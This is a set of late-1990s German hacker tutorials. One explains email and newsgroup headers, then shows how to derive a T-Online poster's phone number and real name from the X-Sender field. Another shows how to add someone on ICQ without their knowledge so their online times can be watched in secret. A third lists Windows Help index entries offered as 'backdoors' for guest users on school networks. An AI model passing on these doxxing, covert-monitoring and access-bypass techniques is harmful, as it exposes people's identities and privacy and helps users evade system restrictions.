Heute möchte ich euch etwas mehr über E-Mail Headers (=Köpfe) und Headers aus Newsgroups zeigen, da man aus
den Headern viele nützliche Informationen entnehmen kann ;-)

Zuerst einmal möchte ich euch einen E-Mail Header zeigen, der folgendermassen aussieht:
~~~~~~
From: Vegbar Fubar <fooha@ifi.foobar.no>
Date: Fri, 11 Apr 1997 18:09:53 GMT
To: hacker@techbroker.com

Received: by o200.fooway.net (950413.SGI.8.6.12/951211.SGI) for techbr@fooway.net id OAA07210; Fri, 11 Apr 1997 14:10:06 -0400
Received: from ifi.foobar.no by o200.fooway.net via ESMTP (950413.SGI.8.6.12/951211.SGI)
for <hacker@techbroker.com> id OAA18967; Fri, 11 Apr 1997 14:09:58 -0400
Received: from gyllir.ifi.foobar.no (2234@gyllir.ifi.foobar.no [129.133.64.230]) by ifi.foobar.no with ESMTP (8.6.11/ifi2.4)
id <UAA24351@ifi.foobar.no> for <hacker@techbroker.com> ; Fri, 11 Apr 1997 20:09:56 +0200
From: Vegbar Fubar <fooha@ifi.foobar.no>
Received: from localhost (Vegbarha@localhost) by gyllir.ifi.foobar.no ; Fri, 11 Apr 1997 18:09:53 GMT
Date: Fri, 11 Apr 1997 18:09:53 GMT
Message-Id: <199704111809.13156.gyllir@ifi.foobar.no>
To: hacker@techbroker.com
~~~~~~
Habt ihr euch nicht schon immer gefragt, was all dies wirre Zeug bedeutet ??? Dazu später.
Zuerst einmal kommt doch sicher die Frage auf, wie man die Header liest.
Das Lesen eines E-Mail Headers ist davon abhängig, mit welchem Programm ihr eure E-Mails abruft.
Gott sei Dank erhaltet ihr hier Abhilfe, wo es beschrieben wird, wie ihr unter den verschiedenen Mail Programmen den
Header erblickt :-)

Compuserve Glück gehabt, Compuserve zeigt euch automatisch den Header
Microsoft Outlook Die Mail anklicken und dann auf Datei \ Eigenschaften \ Details klicken
Netscape Navigator Einfach die Mail markieren, dann auf Ansicht \ Seitenquelltext klicken
Netscape Communicator Einfach die Mail markieren, dann auf Ansicht \ Seitenquelltext klicken, ... et voila
Pegasus eine harte Sache mit Pegasus, das heisst, speichert die Mail ab und öffnet sie in Wordpad
Pine Pine ist ein UNIX E-Mail Programm, das ebenfalls automatisch den Header anzeigt

Soviel zum Thema wie lese ich einen E-Mail Header...
Ich gehe jetzt mal davon aus, das ihr euch eine Nachricht anschaut, und euch sofort den Header dazu holt.
Nun aber zurück zum eigentlichen Thema: Was bedeuten all diese Zeilen ???
Um es euch zu erklären, das ganze nocheinmal:

From: Vegbar Fubar <fooha@ifi.foobar.no>
- hier findet ihr Informationen über den Absender der E-Mail wie eingetragenen Namen im Mail Programm sowie die E-Mail Adresse

Date: Fri, 11 Apr 1997 18:09:53 GMT
- in dieser Zeile findet ihr das Datum und die Uhrzeit, wann die Mail abgeschickt wurde

To: hacker@techbroker.com
- in dieser Zeile seht ihr, an wen die E-Mail gerichtet ist (hier seht ihr nur die E-Mail Adresse, keinen Benutzernamen !!!)

Received: by o200.fooway.net (950413.SGI.8.6.12/951211.SGI) for techbr@fooway.net id OAA07210; Fri, 11 Apr 1997 14:10:06 -0400
- hier findet ihr Informationen darüber, von welchen POP Server ihr euch die E-Mail geholt habt, das wäre in diesem Fall o200.fooway.net,
welche Mailsoftware auf dem Server aktiv ist (inkl.Versionsnummer), das Datum und die Uhrzeit

Received: from ifi.foobar.no by o200.fooway.net via ESMTP (950413.SGI.8.6.12/951211.SGI)

for <hacker@techbroker.com> id OAA18967; Fri, 11 Apr 1997 14:09:58 -0400
- hier findet ihr den Computernamen (ifi.foobar.bo) der die Mail an den Server geschickt hat (o200.fooway.net) und an wen die E-Mail
  adressiert ist

Received: from gyllir.ifi.foobar.no (2234@gyllir.ifi.foobar.no [129.133.64.230]) by ifi.foobar.no with ESMTP (8.6.11/ifi2.4)
 id <UAA24351@ifi.foobar.no> for <hacker@techbroker.com> ; Fri, 11 Apr 1997 20:09:56 +0200
- diese Zeile enthält, das der Computer ifi.foobar.no die E-Mail von einem anderen Computer (gyllir.ifi.foobar.no) erhalten hat
  nach dem Computernamen gyllir.ifi.foobar.no findet ihr eine IP Adresse 129.133.64.230 aber warum findet ihr nach ifi.foobar.no keine ???
  um dieses Phänomen zu lösen gehen wir wie folgt vor:
  macht einen NSLOOKUP (bekommt ihr überall als Programm) auf ifi.foobar.no
  die Antwort sollte so aussehen:
  Server: Fubarino.com
  Address: 198.6.71.10
  Non-authoritative answer:
  Name: ifi.foobar.no
  Address: 129.133.64.2
  Aber was soll uns das sagen ???
  Ganz einfach, der Computer ifi.foobar.no hat sich mit dem Server Fubarino.com verbunden und von dort aus die E-Mail geschickt
  Aber warum einmal .no und einmal .com ???
  Ebenfalls ganz einfach: der Computer ifi.foobar.no scheint ein Norwegischer Computer zu sein, der sich mit dem amerikanischen Server
  verbunden hat um von dort aus die Mail zu schicken

From: Vegbar Fubar <fooha@ifi.foobar.no>
- hier können wir erkennen, das der Absender der E-Mail "Vegbar Fubar" ist (jedenfalls hat er sein Mailprogramm darauf eingerichtet)
  und das die Absenderadresse "fppha.ifi.foobar.no" ist

Received: from localhost (Vegbarha@localhost) by gyllir.ifi.foobar.no ; Fri, 11 Apr 1997 18:09:53 GMT
- Der Computer "gyllir.ifi.foobar.no" hat die E-Mail von "Localhost" (einem lokalen Rechner) erreicht
  diesen Computer können wir per Telnet abfragen, um zu sehen welches System der Computer betreibt
  telnet gyllir.ifi.foobar.no
  ebenfalls sehen wir hier ein Datum und eine Uhrzeit, welche besagt wann der Computer die E-Mail erreicht hat

Date: Fri, 11 Apr 1997 18:09:53 GMT
- hier erkennen wir, das Datum und die Uhrzeit, wann uns die E-Mail erreicht hat

Message-Id: <199704111809.13156.gyllir@ifi.foobar.no>
- aus der Message ID können wir das Datum (1997 April 11) entnehmen und die Zeit (1809=18:09 Uhr) und 13156 identifiziert denjenigen,
  der die E-Mail abgeschickt hat (dies findet nur aus Sicherheitsgründen des Mail-Servers statt)

To: hacker@techbroker.com
- in der letzten Zeile des Headers sehen wir unsere eigene E-Mail Adesse, d.h. welche Empfängeradresse der Absender eingetragen hat

Ich hoffe euch wenigstens etwas geholfen zu haben, auch wenn vielleicht nicht jeder unter euch alles verstanden hat :-(
Solltet ihr Fragen haben, so schickt mir einfach eine E-Mail :-) hehehe

Ebenso ist es, wenn ihr Nachrichten in Newsgroups lest. Dort findet ihr haufenweise Nachrichten. Ein Header aus einer Newsgroup sieht so aus:
~~~~~~
Path: newsfeed00.btx.dtag.de!newsfeed01.btx.dtag.de!newsmm00.btx.dtag.de!news.btx.dtag.de!not-for-mail
From: WaTCher242@t-online.de (Sweety)
Newsgroups: z-netz.alt.binaer.hackreport
Subject: Web-Site
Date: Wed, 17 Feb 1999 17:52:22 +0100
Lines: 8
~~~~~~

Message-ID: <36CAF3C6.1AA0456A@sinfoseek.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: news04.btx.dtag.de 919270405 11445 0565131190-0001 990217 16:53:25
X-Complaints-To: abuse@t-online.de
X-Sender: 0565131190-0001@t-online.de
X-Mailer: Mozilla 4.5 [de]C-CCK-MCD QXW03207 (Win98; I)
X-Accept-Language: de,en
Xref: news.btx.dtag.de z-netz.alt.binaer.hackreport:1548
~~~~~~

Hier aus dem Header können wir ebenfalls hilfreiche Informationen entnehmen:

Path:	hier steht von wo aus die Nachricht in der Newsgroup kam
From:	hier steht die E-Mail Adresse des Absenders & den Namen, den die Person benutzt
Newsgroups:	hier steht, in welchen Newsgroups die Nachricht plaziert wurde
Subject:	hier steht der Betreff der Nachricht, wie ihr sie in der NG vorfindet
Date:	hier steht das Datum, an dem die Nachricht in die NG geschrieben worden ist
Lines:	hier steht wieviele Zeilen die Nachricht enthält
Message-ID:	hier steht nixxx wichtiges
Mime-Version:	hier steht
Content-Type:	hier steht
Content-Transfer-Encoding:	hier steht
X-Trace:	hier steht der News Server der Nachricht, die Message ID, das Datum und evtl. Rufnummer
X-Complaints-To:	hier steht
X-Sender:	hier steht die E-Mail Adresse des Senders (Vielleicht auch die Telefonnumer ???)
X-Mailer:	hier steht welches Programm die Person zum mailen nimmt, und welches Betriebssystem er nutzt
X-Accept-Language:	hier steht die von der Person akzeptierten Sprachen
Xref:	hier steht in welcher NG die Nachricht gelandet ist

Eine Art von besondere Nachricht ist die, die von jemandem geschickt wird, der bei T-Online ist, denn bei ihnen könnt ihr euch ganz einfach im Header die Telefonnummer raussuchen, diese dann auch noch eventuell abfragen (Klicktel, D-Info)...voila, ihr habt den realen Namen dieser Person :-)
Und wo steht die Telefonnummer fragt ihr euch sicher jetzt ?? Ganz einfach, schaut euch den Header an und sucht in diesem nach folgender Zeile:

X-Sender: 0565131190-0001@t-online.de

Wenn ihr mein Tutorial über >T-Online Zugangsdaten einer Webpage< gelesen habt, dann wisst ihr wohl wie man jetzt vorgeht.
Solltet ihr ihn nicht gelesen haben, will ich es euch hier noch einmal zeigen.

Nehmt den X-Sender (in diesem Fall 0565131190-0001@t-online.de) der T-Online Nachricht, denkt euch alles weg ab -0001@t-online.de
Nun erhaltet ihr die gesuchte Rufnummer des Verfassers der Nachricht ==> 0565131190   :-)

Wenn ihr checken wollt ob diese Person eine Homepage hat, versucht einfach folgendes:
http://home.t-online.de/home/RUFNUMMER
das wäre in diesem Fall die 0565131190
Die vollständige URL der Person lautet dann:
http://home.t-online.de/home/0565131190/ oder http://home.t-online.de/home/0565131190/.impressum.html um gleich detailierte Informationen zu erhalten.

So, das war es auch schon wieder aus der digitalen Welt, die wohl nur manche Leute zu verstehen wissen :-)
Dieses Tutorial erschien mir als sehr wichtig und gleichzeitig als sehr erschreckend, was man für Informationen aus Headern entnehmen kann.
So, dann wünsche ich euch viel Erfolg beim Lesen der Header :-)

cu all
Cyberdemon_98
~~~~~~

ICQ User Adden:
==========

Hallöchen, hier bin ich wieder mit einem neuen Tutor :-)
Hier geht es um das berühmte Chat Proggy : ICQ !!!
Ihr habt euch sicherlich schon gefragt wie man über ICQ User Added, ohne dessen Erlaubnis.
Im grossen WWW exisiteren einige Crackz, die (fast) alle funktionieren und ihren Dienst tun.

Leider haben sie doch alle ein Problem:
Nehmen wir mal an, ihr patcht euer ICQ mit einem dieser Crackz und added jemanden zu eurer Kontakt Liste. Ja, und wo bleibt der Haken werdet ihr euch jetzt sicher fragen.
Der Haken ist ganz einfach: Denjenigen, den ihr geadded habt, teilt ihr (ob ihr wollt oder nicht) eine kurze System-Message mit, die besagt, das ihr ihn zu eurer Liste hinzugefügt habe.
Na, ihr wisst jetzt schon was an der Sache Scheisse ist ???

Okay, um dem Abhilfe zu schaffen, daß er nicht mitbekommt, das ihr ihn geadded habt, habe ich hier dieses Tutorial geschaffen :-)
Die Lösung des Problems ist ganz einfach:
Downloaded euch zuerst einen dieser Crackz, deaktiviert ICQ, patcht ICQ und versucht einen User zu adden ohne ihn um Erlaubnis zu fragen.

Sollte dies erfolgreich geschehen, geht es nun hier weiter.
Sucht nach der UIN über ICQ die Person, die ihr hinzufügen wollt.
Sobald ICQ eure Anfrage positiv bestätigt, markiert den Namen der Person, indem ihr einfach auf den Namen klickt.

Und nun HALT !!!

Klickt auf keinen Fall weiter oder so einen Schrott. Nun trennt ihr eure Verbindung zum Internet.
Sollte dies erfolgreich geschehen sein, klickt nun auf "Next". Die daraus enstandene Folge ist simpel.
ICQ bombt euch nun mit Fehlermeldungen zu, die besagen, das keine Nachricht gesendet werden konnte und so einen Müll.

Aber daran werden wir uns jetzt nicht stören.
Nach dem Bestätigen der Fehlermeldungen können wir erfolgreich unser Ergebnis der Aktion sehen...
Wir haben die gewünschte Person auf unserer Contact-List, und zwar, ohne das die etwas davon mitbekommt.
Um sicher zu gehen, startet den Rechner erneut, verbindet euch dann wieder mit dem Internet.

Nun könnt ihr in vollen Zügen beobachten, wann die Person online ist, ohne das sie etwas davon merkt.
Nett, oder ???
Um die IP der Person in euren Besitz zu bringen... lest die Lesson 02 meiner BIBLE ;-)

Wieder einmal endet hier eine wunderbare Lesson und wieder einmal weiss ich hier an dieser Stelle langsam nicht mehr was ich noch schreiben soll.

cu all
Cyberdemon_98

P.S.: An dieser Stelle möchte ich ganz herzlich @ngelkiller grüssen, und ihm dafür danken, daß er mir diese Informationen zur Verfügung gestellt hat.

Nützliche Windowshilfe:
====================

Hallöchen, da bin ich wieder.
Wiedereinmal erweitere ich die BIBLE um eine Lesson :-))
So, anstatt lange drumherum zu reden, fange ich lieber direkt an ;-)
Nehmen wir den Fall an, das man sich irgendwo in einem privaten Netzwerk oder in der Schule als Gast oder so eingeloggt hat.
Wir setzen an dieser Stelle voraus, das es sich um ein Windows System handelt.
Als Gast besitzt man von Natur aus schon keine Rechte auf dem System, was man natürlich ändern kann. Dazu benötigen wir lediglich die Windows Hilfe. Denn die Windows Hilfe steht selbst jedem Gast zur Verfügung.
Deshalb habe ich hier für diverse Betriebssysteme die Links in der Hilfe "herausgemfummelt".
Um diese nachverfolgen zu können öffnen wir die Registerkarte "Index".
Falls ihr nicht wisst, wie man die Windows Hilfe verwendet drückt die Taste "F1" im Windows und sucht dort "Hilfe über Hilfe" ;-)
Naürlich nenne ich hier nicht alle Verknüpfungen in der Windows-Hilfe, da sich das ein oder andere sowieso wiederholt.
Für folgende Systeme stelle ich hier die Hintertüren in der Hilfe zur Verfügung:
Windows 95/98/NT 4.0 Server
~~~~~~
Windows 98:

---ASSISTENT FÜR DEN INTERNET ZUGANG:---
* Assistenten, Assistent für den Internetzugang

---ASSISTENT FÜR DIE HARDWARE- UND FEHLERBEHEBUNG:---
* ASD

---ASSISTENT FÜR DIE ISDN KONFIGURATION:---
* * Analoge Telefonsysteme auf ISDN aufrüsten
* Assistenten, Assistent für die ISDN-Konfiguration

---AUDIORECORDER:---
* Anhören, Audio; Verwenden des Audiorecorders

---BACKUP:---
* Backup

---CD-SPIELER:---
* Anhören, CDs; Verwenden der CD-Wiedergabe

---DATENTRÄGERBEREINIGUNG:---
* Alte Dateien entfernen; Verwenden der Datenträgerbereinigung

---DEFRAGMENTIERUNG:---
* Festplattenspeicherplatz erhöhen, Defragmentierung;
   Beschleunigen des Festplattenzugriffs mit Hilfe der Defragmentierung

---DR.WATSON:---
* Ausführen von Tools, automatisches, Dr. Watson

---EDITOR:---
* .txt-Dateien
* Dokumente, Bearbeiten; Verwenden des Editors
* Dokumente, Erstellen; Verwenden des Editors

---EIGENSCHAFTEN VON AKUSTISCHE SIGNALE:---
* Akustische Signale, Zuweisen zu Ereignissen; So geben Sie an,
    welche akustischen Signale für Infrarot-Monitor-Ereignisse verwendet werden
* Akustische Signale, Zuweisen zu Ereignissen; So weisen Sie Programmereignissen einen Signalton zu

---EIGENSCHAFTEN VON ANZEIGE:---
* .bmp-Dateien; So ändern Sie den Hintergrund des Desktops
* .gif-Dateien als Hintergrundbild verwenden
* 16-Farben-Darstellung
* 256-Farben-Darstellung
* Anordnen von Bildschirmen
~~~~~~

---EIGENSCHAFTEN VON DATUM/UHRZEIT:---
* 12-Stunden-Format, Einstellungen
* Ändern der Zeiteinstellungen; So ändern Sie die Uhrzeit des Computers

---EIGENSCHAFTEN VON DCOM:---
* Aktivieren von DCOM; So aktivieren Sie DCOM
* Aktivieren von DCOM; So aktivieren Sie DCOM für eine bestimmte Anwendung

---EIGENSCHAFTEN VON EINGABEHILFEN:---
* Akustische Signale; So aktivieren Sie die Tondarstellung
* ALT-TASTE; So aktivieren Sie die Einrastfunktion

---EIGENSCHAFTEN VON ENERGIEVERWALTUNG:---
* Alarm, niedriger Energiestand
* Ändern von Energieschemas; So erstellen Sie ein neues Energieschema

---EIGENSCHAFTEN VON KENNWÖRTER:---
* Administration, Remote-; So entfernen Sie einen Namen aus der Liste der Administratoren
* Administration, Remote-; So ermöglichen Sie anderen Benutzern,
  die Verwendung der Ressourcen auf Ihrem Computer anzuzeigen
* Administration, Remote-; So fügen Sie der Liste der Remoteadministratoren einen Namen hinzu

---EIGENSCHAFTEN VON LÄNDEREINSTLLUNGEN:---
* 2000, Kalendereinstellungen
* Ändern der Ländereinstellungen; ***

---EIGENSCHAFTEN VON MAUS:---
* Ändern der Mauseinstellungen; So ändern Sie das Aussehen des Mauszeigers

---EIGENSCHAFTEN VON MULTIMEDIA:---
* Abspielen von Multimediadateien; So ändern Sie die Größe des Videoclip-Fensters
* Analoge Wiedergabe, CD-Wiedergabe
* Anhören, Audio; So regeln Sie die Wiedergabelautstärke

---EIGENSCHAFTEN VON MODEMS:---
* Anrufe tätigen; So konfigurieren Sie ein installiertes Modem

---EIGENSCHAFTEN VON SCANNER UND KAMERAS:---
* Anzeigen von gescannten Bildern; Verwenden von Scanner und Kameras

---EIGENSCHAFTEN VON SOFTWARE:---
* Alte Dateien entfernen; So geben Sie Festplattenspeicher frei;
  Windows-Komponenten entfernen, die nicht mehr benötigt werden
* Alte Dateien entfernen; So geben Sie Festplattenspeicher frei;
  Programme entfernen, die nicht mehr gebraucht werden.
* Erstellen einer Startdiskette

---EIGENSCHAFTEN VON SYSTEM:---
* 32-Bit-PC-Kartenunterstützung, Deaktivieren
* Aktivieren von Hardwaregeräten
* Ändern der Einstellungen für Hardwareressourcen; So entfernen Sie Hardwarekomponenten
* Ändern des Namens von Hardwareprofilen
* Anzeigen von Geräteressourcen

---HARDWARE ASSISTENT:---
* Einstellungen, Gamecontroller
* Flugsteuerknüppel

---HYPER TERMINAL:---
* Emulation, Terminal-

---IMAGING:---
* Anmerkungen zu Bilddokumenten hinzufügen
* Fotos, gescannte; Verwenden von Kodak Imaging

---LAUFWERKKONVERTIERUNG:---
* Alte Dateien entfernen; So geben Sie Festplattenspeicher frei;
  Zusätzlichen freien Speicherplatz durch die Laufwerkkonvertierung (FAT32) oder durch

   Datenträgerkomprimierung mit DriveSpace 3 schaffen; Die Laufwerkkonvertierung (FAT32) verwenden
* Austauschbare Datenträger, FAT32 und
* Datenträger, Auswechselbare, und FAT32

---MEDIENWIEDERGABE:---
* Animationsdateien wiedergeben; Verwenden der Medienwiedergabe
* Anzeigen von Filmen; Verwenden der Medienwiedergabe

---MICROSOFT SYSTEMINFO:---
* Abrufen von Systeminformationen

---MODEMINSTALLATION:---
* Anbieter, Internetdienst-, Einrichten eines Kontos bei; Einrichten eines Internetkontos;
   Ich habe ein Internetkonto. Weiter mit Schritt 2

---NETZWERK:---
* 32-Bit-DLC-Protokoll, Deaktivieren der 16-Bit-Unterstützung
* 32-Bit-DLC-Protokoll, Installieren
* 32-Bit-DLC-Protokoll, Konfigurieren von Einstellungen
* 32-Bit-DLC-Protokoll, Überprüfen von Bindungen
* Adapter, Netzwerk-, Binden an Protokolle
* Adapter, Netzwerk-, Einstellungen
* Adapter, Netzwerk-, Entfernen von Software
* Adapter, Netzwerk-, Installieren von Software
* Aktivieren der automatischen Sicherung
* Aktivieren der Datei- und Druckerfreigabe

---PAINT:---
* .bmp-Dateien; Verwenden von Paint
* Dokumente, Einfügen von Paint-Bildern in

---RECHNER:---
* Addieren von Zahlen
* Addition mit dem Rechner

---SCANDISK:---
* Alte Dateien entfernen; So geben Sie Festplattenspeicher frei; ScanDisk verwenden,
   um Fehler zu ermitteln, die möglicherweise Speicherplatz beanspruchen

---UPDATE ASSISTENT:---
* Aktualisieren von Treibern; Verwenden des Update-Assistenten - Deinstallation
* Aktualisieren von Windows 98; Verwenden des Update-Assistenten - Deinstallation

---ÜBERPRÜFUNGSPROGRAMM FÜR SIGNATUREN:---
* Anzeigen von Zertifikaten

---WAHLHILFE:---
* Anrufe tätigen; Verwenden der Wählhilfe zum Wählen von Ihrem Computer aus

---WARTUNGSASSISTENTEN:---
* Ausführen von Tools, automatisches, Wartungs-Assistent
* Festplattenspeicherplatz erhöhen, Wartungs-Assistent

---WINDOWS AKTENKOFFER:---
* Dokumente, Aktenkoffer; Verwenden des Aktenkoffers

---WORDPAD:---
* Absatzformate, WordPad
* Dokumente, Bearbeiten; Verwenden von WordPad
* Dokumente, Erstellen; Verwenden von WordPad
* Dokumente, Formatieren
* Formatieren von Dokumenten mit WordPad

Windows NT 4.0 Server:

---AUDIORECORDER:---
* Abspielen; Klangdateien
* Audio: Audiorecorder
* Audiorecorder
* Aufnehmen von Klängen
* Aufzeichnen von Klangdateien; Verwenden des Audiorecorders zum Aufnehmen,
  Wiedergeben und Bearbeiten von Audiodateien
* Bearbeiten: Klangdateien

---BENUTZERMANAGER:---
* Benutzerkonten; Verwalten der Computer-Sicherheit mit dem Benutzer-Manager für Domänen
* Benutzer-Manager für Domänen
* Benutzerrechte; Verwalten der Computer-Sicherheit mit dem Benutzer-Manager für Domänen
* Domänen; Verwalten der Computer-Sicherheit mit dem Benutzer-Manager für Domänen
* Entfernen: Benutzerprofile
* Erstellen: Gruppen; Verwalten der Computer-Sicherheit mit dem Benutzer-Manager für Domänen

---BANDSICHERUNG:---
* Bandsicherung; Verwenden der Bandsicherung zur Sicherung von Dateien
* Beschädigte Dateien wiederherstellen
* Computer: sichern

---CD-SPIELER:---
* Abspielen; CDs
* Audio: CD-Spieler; Verwenden der CD-Wiedergabe zum Abspielen von CDs
* CD-ROM-Laufwerke; Verwenden der CD-Wiedergabe zum Abspielen von CDs
* CD-Spieler; Verwenden der CD-Wiedergabe zum Abspielen von CDs

---DATEI-MANAGER:---
* Datei-Manager; Ausführen des Datei-Managers

---DATEI-OPTIONEN:---
* Datenträger: komprimieren; So zeigen Sie komprimierte Ordner und Dateien in einer anderen Farbe
an
* Datenträgerkomprimierung; So zeigen Sie komprimierte Ordner und Dateien in einer anderen Farbe an
* Komprimieren von NTFS-Datenträgern; So zeigen Sie komprimierte Ordner und Dateien in einer
anderen Farbe an

---DFÜ NETZWERK:---
* Konten, Internet; Schritt 6 So stellen Sie über DFÜ-Netzwerk eine Verbindung mit Ihrem
Dienstanbieter her

---DR.WATSON:---
* Abstürze
* Anwendungen: Fehler; Verwenden von Dr. Watson, um Programmfehler zu entdecken
* Debugging; Verwenden von Dr. Watson, um Programmfehler zu entdecken
* Dr. Watson

---DRUCKER:---
* Abbrechen des Druckvorgangs; So brechen Sie den Druck eines Dokumentes ab
* Abbrechen des Druckvorgangs; So starten Sie ein Dokument neu
* Anhalten; So beenden Sie die Freigabe eines Druckers
* Anhalten; So brechen Sie den Druck eines Dokuments ab
* Anhalten; So halten Sie Druckvorgänge an bzw. setzen sie fort
* Anhalten; So starten Sie ein Dokument neu
* Anschlüsse; So ändern Sie die Zeitüberschreitungseinstellungen für einen Parallelanschluß
* Anzeigen: Druckwarteschlangen
* Auflösung, Druck; So stellen Sie Standardoptionen für Grafik- und Farbdrucke ein
* Aufträge drucken Siehe Drucken
* Berechtigungen; So beschränken Sie den Zugriff auf einen freigegebenen Drucker
* Berechtigungen: Drucker
* Bereinigen: Druckwarteschlangen; So brechen Sie den Druck eines Dokuments ab

---DRUCKERINSTALLATION:---
* Anschlüsse; So richten Sie einen LPR-kompatiblen Drucker ein
* Daemon, Line Printing (LPD); So richten Sie einen LPR-kompatiblen Drucker ein
* Drucken: TCP/IP; So richten Sie einen LPR-kompatiblen Drucker ein

---EDITOR:---
* Anzeigen: Dokumente
* Bearbeiten: Dokumente; Verwenden des Editors zum Schreiben und Bearbeiten von Textdateien
* Editor

---EIGENSCHAFTEN VON AKUSTISCHEN SIGNALEN:---
* Audio: Zuordnen von Klängen zu Ereignissen
* Eingabehilfen: Zuordnen von Klängen zu Ereignissen

---EIGENSCHAFTEN VON ANZEIGE:---
* Abbildungen Siehe Bitmaps, Grafiken, Bilder
* Abstand, Symbole
* Aktualisieren: Bildschirm
* Aktualisierungsrate
* Ändern der Grösse Siehe Grösse; So verwenden Sie grössere oder kleinere Schriftarten
* Anpassen; So ändern Sie das Aussehen der Elemente auf Ihrem Desktop
* Anpassen: Desktop
* Anzahl von Farben
* Auflösung, Bildschirm
* Aussehen, Desktop; So ändern Sie das Aussehen der Elemente auf Ihrem Desktop
* Aussehen, Desktop; So ändern Sie den Hintergrund Ihres Desktops
* Aussehen, Desktop; So ändern Sie die Anzahl der Farben, die auf dem Bildschirm angezeigt werden
* Aussehen, Desktop; So ändern Sie die Bildschirmauflösung
* Aussehen, Desktop; So erstellen oder ändern Sie Desktop-Muster
* Aussehen, Desktop; So verwenden Sie größere oder kleinere Schriftarten
* Bearbeiten: Desktop-Muster
* Bilder: (Siehe auch Bitmaps, Grafiken)
* Bilder: Einbrennen verhindern mit Bildschirmschonern
* Bildschirm: (Siehe auch Desktop)
* Bildschirm: Aktualisierungsrate

---EIGENSCHAFTEN VON DATUM/UHRZEIT:---
* Computer: Datum
* Computer: Uhrzeit

---EIGENSCHAFTEN VON DCOM-KONFIGURATION:---
* Aktivieren; So deaktivieren Sie DCOM
* Benutzer: hinzufügen zu Berechtigungslisten; So vergeben Sie Berechtigungen für eine DCOM-Anwendung
* Benutzerkonten; So richten Sie das Benutzerkonto ein, das verwendet wird, um eine DCOM-Anwendung auszuführen
* Benutzerkonten: für DCOM-Anwendungen
* Berechtigungen; So vergeben Sie Berechtigungen für eine DCOM-Anwendung
* Berechtigungen: DCOM-Anwendungen; So vergeben Sie Berechtigungen für eine DCOM-Anwendung
* Berechtigungen: DCOM-Anwendungen; So vergeben Sie Standardberechtigungen für alle DCOM-Anwendungen

---EIGENSCHAFTEN VON EINGABEHILFEN:---
* ALT-Taste; So aktivieren Sie die Einrastfunktion
* Anschlaggeschwindigkeit Siehe Anschlagverzögerung
* Anschlüsse; So verwenden Sie ein alternatives Eingabegerät
* Benachrichtigung, sichtbar; So aktivieren Sie die Darstellungsoptionen
* Benachrichtigung, sichtbar; So aktivieren Sie die Tondarstellung
* Blinkender Bildschirm bei akustischen Signalen

---EIGENSCHAFTEN VON LÄNDEREINSTELLUNGEN:---
* Datum; So ändern Sie die Datumsdarstellung auf Ihrem Computer
* Eingabegebietsschema; So ändern Sie das Tastaturlayout für ein installiertes Eingabegebietsschema

---EIGENSCHAFTEN VON MAUS:---
* Anpassen: Maus; So ändern Sie das Aussehen des Mauszeigers
* Anpassen: Maus; So passen Sie die Doppelklickgeschwindigkeit für die Maus an
* Anpassen: Maus; So passen Sie die Geschwindigkeit des Mauszeigers an
* Anpassen: Maus; So vertauschen Sie die Maustasten
* Doppelklicken; So passen Sie die Doppelklickgeschwindigkeit für die Maus an

---EIGENSCHAFTEN VON MULTIMEDIA:---
* Anschlüsse; So verschieben Sie ein MIDI-Instrument zu einer anderen Audiokarte

* Audio: CD-Spieler; So regeln Sie die Lautstärke für die Kopfhörer der CD-Wiedergabe
* Audio: CD-Spieler; So wechseln Sie die CD-Wiedergabe
* Audio: compression drivers
* Audio: Komprimierungstreiber
* Audio: Kopfhörerlautstärke
* Audio: Lautstärke
* Audio: Multimedia-Geräte
* Bevorzugte Klangqualität
* CD-ROM-Laufwerke; So wechseln Sie die CD-Wiedergabe
* CDs; So installieren Sie ein Programm von einer CD-ROM

---EIGENSCHAFTEN VON SOFTWARE:---
* Anpassen; Hinzufügen von Eingabehilfen
* Anpassen: (Siehe auch Eingabehilfen, Konfigurieren)
* Anwendungen: entfernen; So entfernen Sie ein Programm von Ihrem Computer
* Anwendungen: entfernen; So wird eine Windows NT-Komponente hinzugefügt bzw. entfernt
* Anwendungen: installieren; So installieren Sie ein Programm von einer CD-ROM
* Anwendungen: installieren; So wird eine Windows NT-Komponente hinzugefügt bzw. entfernt
* Behinderte, Funktionen für Siehe Eingabehilfen
* CD-ROM-Laufwerke; So installieren Sie ein Programm von einer CD-ROM

---EIGENSCHAFTEN VON TASTATUR:---
* Blinkgeschwindigkeit, Cursor

---EREIGNISANZEIGE:---
* Anwendungen: Ereignisse Siehe Ereignisse
* Anzeigen: Ereignisprotokolle
* Ereignisanzeige
* Ereignisprotokolle; Verwenden der Ereignisanzeige, um Ereignisse unter Windows NT zu überwachen
* IDs, Ereignis

---FESTPLATTENMANAGER:---
* Benennen: Datenträger; Verwenden des Festplatten-Managers, um Ihre Festplatte zu verwalten
* Dateisysteme
* Datenträger: formatieren; Verwenden des Festplatten-Managers, um Ihre Festplatte zu verwalten
* Datenträger: Verwaltung
* Partitionen: (Siehe auch Datenträger)

---LAUTSTÄRKEREGELUNG:---
* Audio: Wiedergabe
* Balance, Lautsprecher

---LIZENZMANAGER:---
* Hinzufügen: Lizenzen
* Löschen: Lizenzen
* Pro Arbeitsplatz, Lizenzierung

---MEDIENWIEDERGABE:---
* Abspielen; Multimedia-Dateien
* Animationsdateien
* Audio: Medienwiedergabe
* CD-ROM-Laufwerke; Verwenden der Medienwiedergabe zum Abspielen von Multimedia-Dateien

---MODEM INSTALLIEREN:---
* Anrufen; So installieren Sie ein Modem
* Bulletin Boards; Verbinden mit dem Internet; Schritt 2 Richten Sie Ihre Kommunikations-Hardware ein
* Einrichten: Modems; So installieren Sie ein Modem
* Erkennen: Modems

---NETZWERK-CLIENT-MANAGER:---
* Booten, Remote; Verwalten von Netzwerk-Clients
* Clients: verwalten
* Network-Client-Manager; Verwalten von Netzwerk-Clients

---NOTFALLDISKETTE-ERSTELLEN:---
* Datenträger: Wiederherstellung; Verwenden des Programms zur Erstellung der Notfalldiskette
* Dienstprogramme: Notfalldiskette
* Einrichten: Notfalldiskette

---OBJEKT-MANAGER:---
* Pakete, Objekte; Verwenden des Objekt-Managers, um Pakete zu erstellen

---PAINT:---
* Anzeigen: Bilder mit Paint
* Bitmaps: erstellen mit Paint
* Fotografien anzeigen in Paint
* Paint; Verwenden von Paint zur Erstellung von Bildern

---RAS-VERWALTUNG:---
* Berechtigungen; Verwalten von RAS-Servern
* Berechtigungen: RAS
* DFÜ-Netzwerk: (Siehe auch RAS)

---RECHNER:---
* Rechner

---SCHRIFTARTENORDNER:---
* Adobe Type 1-Schriftarten
* Anzeigen: Schriftarten
